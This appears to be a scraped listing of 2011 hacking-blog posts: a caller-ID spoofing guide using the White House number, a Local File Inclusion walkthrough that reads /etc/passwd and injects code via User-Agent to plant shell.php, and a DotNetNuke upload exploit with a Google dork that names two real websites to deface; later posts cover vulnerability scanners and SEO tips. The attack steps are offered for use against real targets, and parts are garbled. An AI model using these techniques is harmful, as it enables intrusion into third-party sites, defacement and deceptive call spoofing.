VoIP Hacks: How to Spoof Your Caller ID

11/01/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZUsI24P4Q03_WOqsfqLVkG2OujdHf2zKziY-PXPlMYHAeaa1vB_xEO3ON1vlDofYkZiOpC-wkHKnUp4h_7NsjFbuz1rXANKJdFERxIe0Yj7826Oqg15QhuyKzow5VdMfqWHSjJTUWcwE/s1600/voip-hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How to Spoof Your Caller ID" border="0" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZUsI24P4Q03_WOqsfqLVkG2OujdHf2zKziY-PXPlMYHAeaa1vB_xEO3ON1vlDofYkZiOpC-wkHKnUp4h_7NsjFbuz1rXANKJdFERxIe0Yj7826Oqg15QhuyKzow5VdMfqWHSjJTUWcwE/s1600/voip-hacked.jpg" title="Caller ID Spoofing" width="320" /></a></div>
<br />
A fun prank is to call friends, family, or strangers from the White House's phone number (202 456-2121). The reason that this is possible is that Vonage, Skype, and other VoIP providers fundamentally must be able to fake caller ID in order to route calls from the internet onto public phone networks (so presumably they've been doing some lobbying over the years).<br />
<b style="margin: 0px; padding: 0px;">A Brief Technical Overview of Caller ID Spoofing:</b><br />
What we'll do is register a free account at an ITSP, or Internet Telephony Service Provider, which acts as the bridge between the internet and the public American (or otherwise) analog telephony networks. We'll then configure the ITSP to use the White House's phone number as our outbound caller ID. Finally, we'll connect to the ITSP using a free VoIP client, or softphone, to make our call using a PC.<br />
<div style="margin: 0px 0px 1.571em; padding: 0px;">
<b style="margin: 0px; padding: 0px;">The 10-Minute Step-by-Step Process:</b></div>
<ol style="margin: 0px 0px 1.571em 1.571em; padding: 0px;">
<li style="margin: 0px; padding: 0px;">  Register a free account on <a href="http://www.sipgate.com/" style="color: #2361a1; margin: 0px; padding: 0px; text-decoration: underline;">SIPGate.com.</a></li>
<li style="margin: 0px; padding: 0px;">Download <a href="http://www.counterpath.com/x-lite.html" style="color: #2361a1; margin: 0px; padding: 0px; text-decoration: underline;">X-Lite</a>, a free VoIP client.</li>
<li style="margin: 0px; padding: 0px;">Log in to SIPGate, then go to Settings–>Caller ID.</li>
<li style="margin: 0px; padding: 0px;">Enter 202-456-2121 as the Caller ID and click "Save."</li>
<li style="margin: 0px; padding: 0px;">Go back to your SIPGate Settings screen and click "SIP Credentials."</li>
<li style="margin: 0px; padding: 0px;">Leave that window alone for a moment.</li>
<li style="margin: 0px; padding: 0px;">  Open X-Lite and go to Menu–>SIP Account Settings–>Add.</li>
<li style="margin: 0px; padding: 0px;">  Use <a href="http://www.sipgate.com/faq/article/397/How_do_I_set_up_my_VoIP_device" style="color: #2361a1; margin: 0px; padding: 0px; text-decoration: underline;">these instructions</a> to configure your SIP Account Settings on X-Lite using your SIP Credentials.</li>
<li style="margin: 0px; padding: 0px;">Dial any number and enjoy!</li>
</ol>
<br /><br /></div>

A fun prank is to call friends, family, or strangers from the White House's phone number (202 456-2121). The reason that this is pos...

Shell by LFI - Method proc / self / environ

10/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMjbYwWDfqkxa_gTF83wYEqKY1l2bwgA136U7N3JiX01cXuy-cyHYcqmXKZLHkJnrg0JbvVXqxhCZ0pkVaZM5qjDYC-u80FWy1lM3AiC4rQs_mjyr6qtYnhAPyT4bbWVPxRqLmuUT-xNh-/s1600/lfi+shell.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMjbYwWDfqkxa_gTF83wYEqKY1l2bwgA136U7N3JiX01cXuy-cyHYcqmXKZLHkJnrg0JbvVXqxhCZ0pkVaZM5qjDYC-u80FWy1lM3AiC4rQs_mjyr6qtYnhAPyT4bbWVPxRqLmuUT-xNh-/s320/lfi+shell.jpg" width="320" /></a></div>
<br />
<div class="para">
1 - Introduction<br />
2 - Discovery LFI<br />
3 - check if / proc / self / environ is accessible<br />
4 - malicious code injection<br />
5 - Access to the shell<br />
6 - Thanks<br />
<br />
<h3>
>> 1 - Introduction</h3>
<br />
In this tutorial I will show how to obtain a shell on a site using your Local File Inclusion and<br />
injecting malicious code in proc / self / environ.Este a tutorial that explains everything step by step.<br />
<br />
<h3>
>> 2 - Discovery LFI</h3>
<br />
- Now a site to find a vulnerable target to Local File <a href="http://inclusion.am/&t=ANT-2vyV6xI0BQ6QZt6MCFMkk1WGnFzI3BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Am</a> found to verify<br />
<br />
<a href="http://www.website.com/view.php?page%3Dcontact.php&amp" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=contact.php</a><br />
<br />
- Now to replace contact.php with .. / and the URL will become<br />
<br />
<a href="http://www.website.com/view.php?page%3D../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../</a><br />
<br />
and have an error.<br />
<br />
Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://website.com/" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line 1337 good chance to have a vulnerability type Local File <a href="http://inclusion.sa/" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a> move on.</div>
<br />
<div class="listitem">
- Check if we can access the <br />
<div class="highlight">
etc/passwd </div>
to see if it is vulnerable to Local File <a href="http://inclusion.sa/" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a>make a request:<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../etc/passwd</a><br />
<br />
have an error and the file etc / passwd is not included.<br />
<br />
Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://website.com/" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line 1337 climbed some directors<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../../../etc/passwd</a><br />
<br />
We successfully included file etc / passwd.<br />
<div class="content shadow-radial">
root: x: 0:0: root: / root: / bin / bash bin: x: 1:1: bin: / bin: / sbin / Nologin daemon: x: 2:2: daemon: / sbin: / sbin / Nologin adm: x: 3:4: adm: / var / adm: / sbin / Nologin<br />
<br />
lp: x: 4:7: lp: / var / spool / lpd: / sbin / Nologin sync: x: 5:0: sync: / sbin: / bin / sync shutdown: x: 6:0: shutdown: / sbin : / sbin / shutdown halt: x: 7:0: halt: / sbin: / sbin / halt<br />
<br />
mail: x: 8:12: mail: / var / spool / mail: / sbin / Nologin news: x: 9:13: news: / etc / news: UUCP: x: 10:14: UUCP: / var / spool / UUCP: / sbin / Nologin<br />
<br />
operator: x: 11:0: operator: / root: / sbin / Nologin games: x: 12:100: games: / usr / games: / sbin / Nologin test: x: 13:30: test: / var / test : / sbin / Nologin ftp:x:14:50:FTP<br />
User: / var / ftp: / sbin / Nologin nobody: x: 99:99: Nobody: /: / sbin / Nologin</div>
</div>
<br />
<h3>
>> 3 - check if / proc / self / environ is accessible</h3>
<br />
- Now to see if / proc / self / environ is accesibil.O to replace etc / passwd with / proc / self / environ<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br />
<br />
If you get something like<br />
<div class="content shadow-radial">
DOCUMENT_ROOT = / home / sirgod / public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text / html, application / xml, q = 0.9, application / xhtml + xml, image / png,<br />
<br />
image / jpeg, image / gif, image / x-xbitmap, * / *, q = 0.1 PHPSESSID = HTTP_COOKIE = HTTP_HOST =<a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> 134cc7261b341231b9594844ac2ad7ac<br />
<br />
http://<a href="http://www.website.com/index.php?view%3D../../../../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">Http://www.website.com/index.php?view=../../../../../../etc/passwd</a> HTTP_REFERER = HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1, U , en) Presto/2.2.15<br />
<br />
Version/10.00 PATH = / bin: / usr / bin QUERY_STRING = view =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x .1 xx.4x.1xx<br />
<br />
REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI = / index.php? View =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron<br />
<br />
SCRIPT_FILENAME = / home / sirgod / public_html / index.php SCRIPT_NAME = / index.php SERVER_ADDR = 1xx.1xx.1xx.6x SERVER_ADMIN = <a href="mailto:webmaster@website.com">webmaster@website.com</a><br />
<br />
SERVER_NAME = <a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =<br />
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV / 2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at <a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> Port 80</div>
proc / self / environ is accesibil.Daca get a blank page, an error means it is not accessible or operating system is FreeBSD.<br />
<br />
<br />
<h3>
>> 4 - malicious code injection</h3>
<br />
- Now let us inject malicious code in proc / self / environ.Cum we do this? Inject code in HTTP User-Agent header.<br />
Use Tamper Data addon's for Firefox to change User-Agent-ul.Porniti Tamper date and make a request to the URL:<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br />
<br />
Choose Tamper and User-Agent field write the following code:<br />
<br />
A shell.php available @ ;?><br />
<br />
Then, submit the request.<br />
<br />
Our command will be executed in<br />
through function system (), and our shell will be creat.Daca does not work, try exec () because system () can be<br />
restricted on a server in php.ini<br />
<br />
<h3>
>> 5 - Access to the shell</h3>
<br />
- Now check if our code has been injected with malicious <a href="http://succes.sa/" style="color: #02679c; text-decoration: none;" target="_blank">succes.Sa</a> see if the shell is present.<br />
<br />
<a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> / shell.php<br />
<br />
Shell was successful.<br />
<br />
i hope you enjoy!!!<br />
</div>

Hacking Hacking Tutorials LFI Tutorials Shell by LFI - Method proc / self / environ

1 - Introduction 2 - Discovery LFI 3 - check if / proc / self / environ is accessible 4 - malicious code injection 5 - Access to th...

Hack Website Using DNN [Dot Net Nuke] Exploit

10/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOlAHxQVzBG9xgDW6ao9teTPGEjyUjZOEu7gCwSUV3tUHS0Tnz_P_oX5dq5k766LqaifOZlsH0mQlie96lntu-D7qQXQ0hxEN8moSiB_o7X9hSNjTjDVuhLks8BFIEzneTh4PPFHyMhI/s1600/dotnetnuke-large.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOlAHxQVzBG9xgDW6ao9teTPGEjyUjZOEu7gCwSUV3tUHS0Tnz_P_oX5dq5k766LqaifOZlsH0mQlie96lntu-D7qQXQ0hxEN8moSiB_o7X9hSNjTjDVuhLks8BFIEzneTh4PPFHyMhI/s1600/dotnetnuke-large.gif" width="320" /></a></div>
<br />
<div class="post-body entry-content">
Using google DORK try to find the vulnerable website.<br />
<br />
<b>inurl:"/portals/0"</b><br />
<br />
You can also modify this google dork according to your need & requirement.I have found these 2 website vulnerable to this attack:<br />
<br />
<a href="http://www.wittur.se/">http://www.wittur.se/</a><br />
<a href="http://www.bsd405.org/">http://www.bsd405.org/</a><br />
<br />
n00bs can also try both of these websites for testing purpose.Open the home page and check any image which is located in <b>/portals/0/</b>Check the location of the image. It should be located in <b>/portals/0/</b><br />
<br />
For e.g. in case of <a href="http://www.wittur.se/">http://www.wittur.se</a> ..the image is located at location- <a href="http://www.wittur.se/Portals/0/SHM.jpg">http://www.wittur.se/Portals/0/SHM.jpg</a><br />
<br />
Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.<br />
<br />
Now here is the exploit<br />
<br />
<b>Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</b><br />
<br />
<b>HOW TO RUN ?</b><br />
Simply copy paste it as shown below:<br />
<br />
<a href="http://www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx">www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</a><br />
<br />
You will see the portal where it will ask you to upload. Select the third option <b>File ( A File On Your Site</b><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyivlTA96p8SVSh0zoTMd77LtT77BUAVLq2WRfM3gLrGG8LeNbGDLfOYY4nBSQSP73TYVbvt8Q2PjlxEF6FPgMbCxjIRYt0x3iQ_hfPwCLp5R8xI9ofa9op1Vg75buViwO3f1Wf2GVhMA/s1600/1.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613501494723714" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyivlTA96p8SVSh0zoTMd77LtT77BUAVLq2WRfM3gLrGG8LeNbGDLfOYY4nBSQSP73TYVbvt8Q2PjlxEF6FPgMbCxjIRYt0x3iQ_hfPwCLp5R8xI9ofa9op1Vg75buViwO3f1Wf2GVhMA/s400/1.JPG" style="background-color: transparent; border: 1px solid transparent; display: block; height: 273px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a><br />
After selecting the third option, replace the URL bar with below script<br />
<b>javascript:__doPostBack('ctlURL$cmdUpload','')</b><br />
<br />
After running this JAVA script, you will see the option for <b>Upload Selected File. </b>Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...<b>BINGGOOOOOOOOOOOO you have hacked the website.</b><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXdSc71TaPWUymCeu8Rvx67VaKbViBjbaTgM0ZcWbHk7bX3MoiiLOdjFI_ek2x_X1xgAADyoS-CtU4hqMUED8Dv3QQiIvBvwz81iKB8PWFgFgQQNPpkeFAM7y2CF6066zR_tPU_D5rrWU/s1600/2.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613494553959698" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXdSc71TaPWUymCeu8Rvx67VaKbViBjbaTgM0ZcWbHk7bX3MoiiLOdjFI_ek2x_X1xgAADyoS-CtU4hqMUED8Dv3QQiIvBvwz81iKB8PWFgFgQQNPpkeFAM7y2CF6066zR_tPU_D5rrWU/s400/2.JPG" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 286px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a><br />
<br />
</div>
</div>

DNN Dot Net Hacking Hacking Tutorials Tutorials Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website. inurl:"/portals/0" You can also modify this google dork according t...

Top 20 Scan Method : Hacking Web Servers

10/18/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Mi4_Piz6L2a28myUdNYN9NuVOf_1STW7fvzya6BgrklotlfXyw2rr4Hg-B4MwE3MEJh2d0wtrMBomJ2QsQfpx-gxuNLEmdFCM-8lCtw9Hjty2lj-MmLe78Aso3Rex5zLFbV6XcbZoG5l/s1600/hp-webinspect.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="484" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Mi4_Piz6L2a28myUdNYN9NuVOf_1STW7fvzya6BgrklotlfXyw2rr4Hg-B4MwE3MEJh2d0wtrMBomJ2QsQfpx-gxuNLEmdFCM-8lCtw9Hjty2lj-MmLe78Aso3Rex5zLFbV6XcbZoG5l/s640/hp-webinspect.jpg" width="640" /></a></div>
<br />
<br />
This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (<a class="url" href="http://www.sans.org/" style="color: #3778cd; text-decoration: none;" target="_top">www.sans.org</a>)<br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<div>
<h3>
Hacking Tool: WebInspect</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages</div>
</li>
</ul>
</div>
<div>
<div class="para">
WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.</div>
<div class="para">
With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.</div>
</div>
<div>
<h3>
Network Tool: Shadow Security Scanner</h3>
<div class="first-para">
<a class="url" href="http://www.safety-lab.com/" style="color: #3778cd; text-decoration: none;" target="_top">http://www.safety-lab.com</a></div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Shadow Security Scanner includes vulnerability auditing modules for many systems and services.</div>
<div class="last-para">
These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and</div>
</li>
</ul>
</div>
<div>
<div class="para">
These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.</div>
<div class="para">
Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.</div>
<div class="para">
The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.</div>
</div>
<div>
<h3>
Countermeasures</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
IISLockdown:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It disables Web Distributed Authoring and Versioning (WebDAV).</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It installs the URLScan ISAPI filter.</div>
</li>
</ul>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
URLScan:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.</div>
</li>
</ul>
</li>
</ul>
</div>
<div>
UrlScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator. Filtering requests helps secure the server by ensuring that only valid requests are processed. UrlScan helps protect Web servers because most malicious attacks share a common characteristic they involve the use of a request that is unusual in some way. For instance, the request might be extremely long, request an unusual action, be encoded using an alternate character set, or include character sequences that are rarely seen in legitimate requests. By filtering unusual requests, UrlScan helps prevent such requests from reaching the server and potentially causing damage.</div>
<div>
<br /></div>
<div>
<h3>
Summary</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Web servers assume critical importance in the realm of Internet security.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Different tools/exploit codes aids an attacker perpetrate web server hacking.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.</div>
</li>
</ul>
</div>
<br /></div>
</div>

Hacking Hacking Tools Top 20 Scan Method : Hacking Web Servers

This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI ( www.sans.org ) Hacking Tool: WebIn...

How to Analysis your website for search engine optimization

10/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"></span></span><br />
<div>
<div>
<div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSUfFC72BFHplq5Za9XStWI4itt29U9EBeODywahLi0xnfczP90M219U4S63LdAE_TITGkbfFjPTCh1_dBeicvmol8JSaNbiMBfdC46lEjBiZOmRwHlmCIS1aG4XVFDoSU9g8XtBmrfIej/s1600/seo+process.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="387" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSUfFC72BFHplq5Za9XStWI4itt29U9EBeODywahLi0xnfczP90M219U4S63LdAE_TITGkbfFjPTCh1_dBeicvmol8JSaNbiMBfdC46lEjBiZOmRwHlmCIS1aG4XVFDoSU9g8XtBmrfIej/s400/seo+process.jpg" width="400" /></a></span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-align: left; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540">  If Web page has a "0" Google™ PageRank™. PageRank™ denotes a Website's importance in the eyes of Google™.</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: If you are not on the first page of search results, over 60% of Internet users will not find you!</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  If Title Tag contains too many characters for what we consider a "robot friendly" Web page. The maximum number of characters we recommend for this Tag is 60.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: Alll major search engines including Google, Yahoo!, Scrub The Web, MSN Bing and others utilize Meta Tags! Don't take our word for it</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  If Meta Description Tag contains too many characters for what we consider a "robot friendly" Web page. The maximum number of characters we recommend for this Tag is 150.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: Having search engine friendly Title and Meta Tags is the most basic step toward search engine optimization (SEO)</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  For The Meta Keywords Tag. Our recommended maximum number of characters for this tag is 874. Although we would never recommend you use this entire allowance because you may then suffer from keyword saturation.</li>
</span></span></ol>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Myth:</b> "Nobody needs search engine optimization."</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><br />
</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Truth:</b> More than 80% of Internet users use search engines to find what they are looking for. Therefore any Website wanting new visitors needs search engine optimization.</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<div>
